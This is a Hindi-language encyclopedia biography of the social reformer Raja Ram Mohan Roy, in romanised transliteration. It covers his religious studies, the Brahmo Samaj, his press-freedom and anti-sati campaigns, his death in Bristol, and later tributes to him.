raja ramamohan ray ka janm 22 mee, 1772 ee. ko radha nagar namak bangal ke ek gaanv mean, purane vicharoan se sampann bangali brahman parivar mean hua tha. unhoanne apane jivan mean arabi, farasi, aangrezi, grik, hibroo adi bhashaoan ka adhyayan kiya tha. hindoo, eesaee, islam aur soofi dharm ka bhi unhoanne gambhir adhyayan kiya tha. 17 varsh ki alpayu mean hi ve moorti pooja virodhi ho gaye the. ve aangrezi bhasha aur sabhyata se kafi prabhavit the. unhoanne ianglaiand ki yatra ki. dharm aur samaj sudhar unaka mukhy lakshy tha. ve eeshvar ki ekata mean vishvas karate the aur sabhi prakar ke dharmik aandhavishvas aur karmakaandoan ke virodhi the. apane vicharoan ko unhoanne lekhoan aur pustakoan mean prakashit karavaya. kintu hindoo aur eesaee pracharakoan se unaka kafi sangharsh hua, parantu ve jivan bhar apane vicharoan ka samarthan karate rahe aur unake prachar ke lie unhoanne brahmasamaj ki sthapana ki.
yuvavastha mean hi moortipooja khandan
jab ve mushkil se 15 varsh ke the, tab unhoanne bangal mean ek chhoti si pustika likhi thi, jisamean unhoanne moortipooja ka khandan kiya tha, jisake sambandh mean unaka kahana tha ki- "vah vedoan mean nahian hai." navayuvak ramamohan ko isake lie bahut kasht uthane p de. unhean kattaravadi parivar se nikal diya gaya aur unhean desh nikale ke roop mean apana jivan vyatit karana p da. tathapi unhoanne eeshvar pradatt paristhitiyoan se poorn labh uthaya. unhoanne door door tak yatraean ki aur is prakar bahut sa jnan aur anubhav sanchit kiya. ramamohan ray ko moortipooja evan paramparaoan ke virodh ke karan apana ghar bhi chho dana p da tha. unhoanne tibbat yatra ki to unake krantikari vicharoan ke karan vahaan ke lama bhi unake virodhi ho gaye. ve arabi aur farasi pahale se hi janate the, ab unhoanne sanskrit ki bhi yogyata prapt kar li. unhoanne aangrezi, phreanch, laitin, hibroo aur grik ka bhi kuchh jnan prapt kar liya. ekeshvaravadi ramamohan ray ne jain, islam adi dharmoan ka adhyayan kiya tha. ve sansar ke mahattvapoorn dharmagranthoan ka mool roop mean adhyayan karane mean samarth the. is karan ve sansar ke sab mahattvapoorn dharmoan ki tulana karane mean saphal ho gaye. vishvadharm ki unaki dharana kinhian sanshlisht siddhaantoan par adharit nahian thi, apitu vibhinn dharmoan ke gambhir jnan par hi adharit thi. unhoanne vedoan aur upanishadoan ka bangala anuvad kiya. vedant ke oopar aangrezi mean likhakar unhoanne yoorop tatha amerika mean bhi bahut khyati arjit ki.
mahan samaj sudharak
brahmasamaj ki sthapana
- REDIRECTsaancha:mukhy
raja ramamohan ray adhunik shiksha ke samarthak the tatha unhoanne ganit evan vijnan par anek lekh tatha pustakean likhian. 1821 mean unhoanne 'yooniteriyan esosieshan' ki sthapana ki. hindoo samaj ki kuritiyoan ke ghor virodhi hone ke karan 1828 mean unhoanne 'brahm samaj' namak ek naye prakar ke samaj ki sthapana ki. 1805 mean raja ramamohan ray bangal mean aangrezi eest iandiya kampani ki seva mean sammalit hue aur 1814 tak ve isi kary mean lage rahe. naukari se avakash prapt karake ve kalakatta mean sthayi roop se rahane lage aur unhoanne poorn roop se apane ko janata ki seva mean lagaya. 1814 mean unhoanne atmiy sabha ko arambh kiya. 20 agast, 1828 mean unhoanne brahmasamaj ki sthapana ki. 1831 mean ek vishesh kary ke sambandh mean dilli ke mugal samrat ke paksh ka samarthan karane ke lie ianglaiand gaye. ve usi kary mean vyast the ki bristal mean 27 sitanbar, 1833 ko unaka dehant ho gaya. unhean mugal samrat ki or se 'raja' ki upadhi di gayi. apane sab karyoan mean raja ramamohan ray ko svadesh prem, ashikshitoan aur nirdhanoan ke lie atyadhik sahanubhooti ki bhavana thi. aangrezoan ke viruddh sashastr vidroh ke sambhav hone ke karan unhoanne apane deshavasiyoan mean rajanitik jagriti ki bhavana ko protsahit karane ke lie janamat ko shikshit kiya. unhoanne sambhav upayoan se logoan ki naitik unnati ke yathasambhav prayatn kie.
hindoo k aaulej ki sthapana mean yogadan
ve apane samay ke sabase b de prachy bhashoan ke jnataoan mean se ek the. unaka vishvas tha ki bharat ki pragati keval udar shiksha ke dvara hogi, jisamean pashchaty vidya tatha jnan ki sabhi shakhaoan ki shikshan vyavastha ho. unhoanne aise logoan ka poorn samarthan kiya, jinhoanne aangrezi bhasha tatha pashchimi vijnan ke adhyayan ka bharat mean arambh kiya aur ve apane prayatnoan mean saphal bhi hue. unhoanne hindoo k aaulej ki sthapana mean sahayata di. yah sanstha un dinoan ki sarvadhik adhunik sanstha thi.
dharmik sudharak
thumb|raja ramamohan ray raja ramamohan ray ek dharmik sudharak tatha saty ke anveshak the. sabhi dharmoan ke adhyayan se ve is parinam par panhuche ki sabhi dharmoan mean advaitavad sambadhi siddhaantoan ka prachalan hai. musalaman unhean musalaman samajhate the, eesaee unhean eesaee samajhate the, advaitavadi unhean advaitavati manate the tatha hindoo unhean vedanti svikar karate the. ve sab dharmoan ki maulik satyata tatha ekata mean vishvas karate the.
samachar patroan ki svatantrata ke liye sangharsh
aangrez eesaee mishanari ne aangrezi bhasha mean 'phreand aauf indiya' namak ek patr jari kiya tha. isi varsh gangadhar bhattachary ne 'bangal samachar' ka prakashan shuroo kiya. bangal mean ek udaravadi patr 'kelakata jarnal' jems silk bakiandham ne aktoobar sanh 1818 ee. mean shuroo kiya. sanh 1821 ee. mean tarachandr dant aur bhavani charan bandhopadhyay ne bangali bhasha mean saptahik patr 'sanvad kaumudi' nikala, lekin disanbar 1821 ee. mean bhavani charan ne sanpadak pad se tyag patr de diya, to usaka bhar raja ramamohan ray ne sanbhala. aprail 1822 ee. mean raja ramamohan ray ne farasi bhasha mean ek saptahik akhabar 'mirat-ul-akhabar' nam se shuroo kiya, jo bharat mean pahala farasi akhabar tha. samrajyavadi british sarakar ko raja ramamohan ray ke dharmik vachir aur ianglaind ki ayalaiand virodhi niti ko alochana pasand nahian aee. parinamasvaroop sarakar ne pres ki svatantrata par pratibandh lagane ke lie adhyadesh jari kiya, jisake virodh mean raja ramamohan ray ne 'mirat-ul-akhabar' ka prakashan band kar diya. [[chitr:Raja-ram-mohan-ray-stamp.jpg|thumb|left|raja ramamohan ray ke samman mean jari dak tikat]] raja ramamohan ray ne samachar patroan ki svatantrata ke lie bhi k da sangharsh kiya tha. unhoanne svayan ek bangali patrika 'samvad-kaumudi' arambh ki aur usaka sampadan bhi kiya. yah patrika bharatiyoan dvara sampadit sabase purani patrikaoan mean se thi. unhoanne 1833 ee. ke samacharapatr niyamoan ke viruddh prabal andolan chalaya. unhoanne sarvochch nyayalay ko ek smriti-patr diya, jisamean unhoanne samachar patroan ki svatantrata ke labhoan par apane vichar prakat kie the. samachar patroan ki svatantrata ke lie unake dvara chalaye gaye andolan ke dvara hi 1835 ee. mean samachar patroan ki azadi ke lie marg bana.
sati pratha hatane ko andolan
- REDIRECTsaancha:mukhy
thumb|raja ramamohan ray raja ram mohan ray ke jivan ki sabase b di upalabdhi thi - sati pratha ka nivaran. unhoanne hi apane athak prayasoan se sarakar dvara is kupratha ko gair-qanooni danndaniy ghoshit karavaya. raja ramamohan ray ne sati pratha ko mitane ke lie prayatn kiya. unhoanne is amanaviy pratha ke viruddh nirantar andolan chalaya. yah andolan samachar patroan tatha manch donoan madhyamoan se chala. isaka virodh itana adhik tha ki ek avasar par to unaka jivan hi khatare mean tha. ve apane shatruoan ke hamale se kabhi nahian ghabaraye. unake poorn aur nirantar samarthan ka hi prabhav tha, jisake karan l aaurd viliyam baianntik 1829 mean sati pratha ko band karane mean samarth ho sake. jab kattar logoan ne ianglaiand mean 'privi k aauunsil' mean prarthana patr prastut kiya, tab unhoanne bhi apane pragatishil mitroan aur sathi karyakartaoan ki or se british sansad ke sammukh apana virodhi prarthana patr prastut kiya. unhean prasannata huee jab 'privi k aauunsil' ne 'sati pratha' ke samarthakoan ke prarthana patr ko asvikrit kar diya. sati pratha ke mitane se raja ramamohan ray sansar ke manavatavadi sudharakoan ki sarvapratham pankti mean a gaye.
videsh mean pratham bharatiy
1831 se 1834 tak apane ianglaiand pravas kal mean ramamohan ji ne british bharat ki prashasanik paddhati mean sudhar ke lie andolan kiya. british sansad ke dvara bharatiy mamaloan par paramarsh lie jane vale ve pratham bharatiy the. haus aauph k aaumans ki pravar samiti ke samaksh apana sakshy dete hue unhoanne bharatiy prashasan ki pray: sabhi shakhaoan ke sambandh mean apane sujhav diya. ramamohan ji ke rajanitik vichar bekan, hyoom,baiantham, blaikaston aur m aaunteskyoo jaise yooropiy darshanikoan se prabhavit the. unhoanne aantarrashtriy vivadoan ke shantipoorvak nibatare ke sambandh mean kaangres ke madhyam se sujhav prastut kiya, jisamean sambandhit deshoan ki sansadoan se sadasy lie jane ka nishchay hua.
mrityu
[[chitr:Ram-Mohan-Roy-statue-Bristol-England.jpg|thumb|250px|raja ramamohan ray ki pratima, bristal, briten]] 27 sitambar, 1833 mean ianglaiand mean raja ramamohan ray ki mrityu ho gee.
briten mean bhavy samadhi
briten ke bristal nagar ke aranos vel qabristan mean raja ramamohan ray ki samadhi hai. 27 sitanbar 2013 ko unaki 180vian punyatithi thi. bahut hi kam logoan ko jnat hoga ki yatra ke madhy meninajaeetis ho jane ke karan yahaan briten mean hi unaka apratyashit nidhan ho gaya tha. us yug mean briten mean dah-sanskar ki anumati nahian thi, atah unake shav ko bhoomi mean yoan hi daba / samahit kar diya gaya tha. vah samadhi tab se dhool-dhoosarit, tooti-phooti, ajnat, upekshit v bure hal mean p di thi. ek bharatiy parasi se vivah karane vali aangrez mahila 'karla k aauntraiktar' ne isake jirnoddhar ka bi da uthaya. kolakata ke ek vyavasayi v tatkalin meyar ke sahayog se 5 varsh poorv hi unhoanne isaka punaruddhar karavaya aur ise ek bhavy samadhi ka roop diya. karla ke prayasoan se hi hathidaant se bani raja ki ek durlabh moorti ko bhi samadhi-bhavan mean sanjo kar rakha gaya hai. 27 sitanbar, 2013 ko bristal mean raja ramamohan ray ki usi samadhi par shraddhaanjali sabha ayojit ki gee. smaraniy hai ki bristal nagar mean ek pramukh sthan par chamakile kale patthar se bani raja ramamohan ray ki lagabhag do manjila ooanchaee ki ek pratima bhi sthapit hai, jisamean mean ve pustakean hath mean pak de kh de haian.[1]
raja ji ke bad brahmasamaj
raja ramamohan ray ki mrityu ke bad brahmasamaj dhire dhire kee shakhaoan mean bant gaya. maharshi devendranath taigor ne 'adi brahm samaj', shri keshavachandrasen ne 'bharatiy brahmasamaj' ki aur unake pashchath 'sadharan brahm samaj', ki sthapana huee. brahmasamaj ke vicharoan ke saman hi d aau. atmaram pandurang ne 1867 mean maharashtr mean 'prarthana samaj' ki sthapana ki jise ar. ji. bhandarakar aur mahadev govind ranade jaise vyaktiyoan ka samarthan prapt hua. is prakar brahmasamaj yadyapi vibhinn shakhaoan mean vibhakt ho gaya, parantu usaka mool adhar ek hi tha. sabhi ka uddeshy hindoo samaj aur hindoo dharm ka sudhar karana tha aur sabhi ne eesaee dharm aur pashchimi sabhyata se prabhavit hote hue bhi hindoo dharmik granthoan, mukhyataya vedoan ko hi apana mukhy adhar banaya tha.
googal doodal
thumb|250px|raja ramamohan ray par jari googal doodal googal ne apane chiraparichit aandaj mean mangalavar (22 mee, 2018) ko doodal banakar mahan samaj sudharak raja ram mohan ray ko yad kiya hai. 22 mee, 2018 ko raja ram mohan ray ka 246vaan janmadin hai. raja ram mohan ray ko desh mean 'adhunik bharat ke nirmata' aur 'punarjagaran kal ke janak' ke taur par jana jata hai. unhoanne 19vian sadi mean samaj sudhar ke lie kee b de aandolan chalae, jinamean sati pratha ko khatm karana sabase aham hai. googal ne samaj ke lie kie ge unake yogadan ke chalate doodal banakar unhean salam kiya hai.
raja ram mohan ray ki yad mean banae ge googal doodal ko bina mistri ne banaya hai. bina toranto ki dizainar haian. googal doodal mean raja ram mohan ray ko ek kitab pak de hue dikhaya gaya hai, jinake asapas kuchh log kh de haian.
vidvanoan ki ray mean raja ramamohan ray
vidvanoan ki ray mean raja ramamohan ray ko naye yug ka agradoot thik hi kaha gaya hai.
- moniyar viliyam ke anusar, raja mahoday sambhavat: tulanatmak dharmashastr ke pratham sachche anveshak the.
- sil (Seal) ke anusar, raja vishv manavata ke vichar ke sandeshavahak the. ve manavatavadi, pavitr tatha saral the. ve vishv itihas mean vishv manavata ke digdarshan karate the.
- mis kolet ke kathananusar, itihas mean ramamohan ray aise jivit pul ke saman haian, jis par bharat apane aparimit bhootakal se apane aparimit bhavishy ki or chalata hai. ve ek aise vrit khand the, jo prachin jativad tatha arvachin manavata, aandhavishvas tatha vijnan, aniyantrit satta tatha prajatantr, sthir rivaj tatha anudar pragati, bhayavane anek devataoan mean vishvas tatha pavitr, yadyapi aspasht astikata ke bich ki khaee ko dhake hue the.
- nandalal chatarji ke anusar, raja ramamohan ray avinasht bhootakal aur udit hote hue bhavishy, sthir anudarata tatha kraantikari sudhar, aandh paramparagat prithakata tatha pragatishil ekata ke madhy manav sambandh sthapit karane vale the. sankshep mean ve pratikriya tatha pragati ke madhy biandu the.
- ravindranath taigor ke anusar, ramamohan ray ne bharat mean adhunik yug ka sootrapat kiya. unhean bharatiy punarjagaran ka pita tatha bharatiy rashtravad ka pravartak bhi kaha jata hai unake dharmik aur samajik sab vicharoan ke pichhe apane deshavasiyoan ki rajanitik unnati karane ki bhavana maujood rahati thi. ve age likhate haian ki mujhe yah khedapoorvak kahana p data hai ki hinduoan ki vartaman paddhati unake rajanitik hitoan ki drishti se thik nahian hai. jat pat ke bhav ne unhean rajanitik bhavana mean shoony kar diya hai. saik doan hazaroan dharmik krityoan aur shuddhata ke niyamoan ne unhean koee bhi kathin kam karane ke ayogy bana diya hai. maian samajhata hooan ki yah avashyak hai ki unake rajanitik labh aur samajik suvidha ke lie unake dharm mean kuchh parivartan ho.
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tika tippani aur sandarbh
- ↑ vachaknavi, d aau. kavita. raja ramamohan ray puny tithi (hiandi) fesabuk. abhigaman tithi: 30 sitambar, 2013.
sanbandhit lekh
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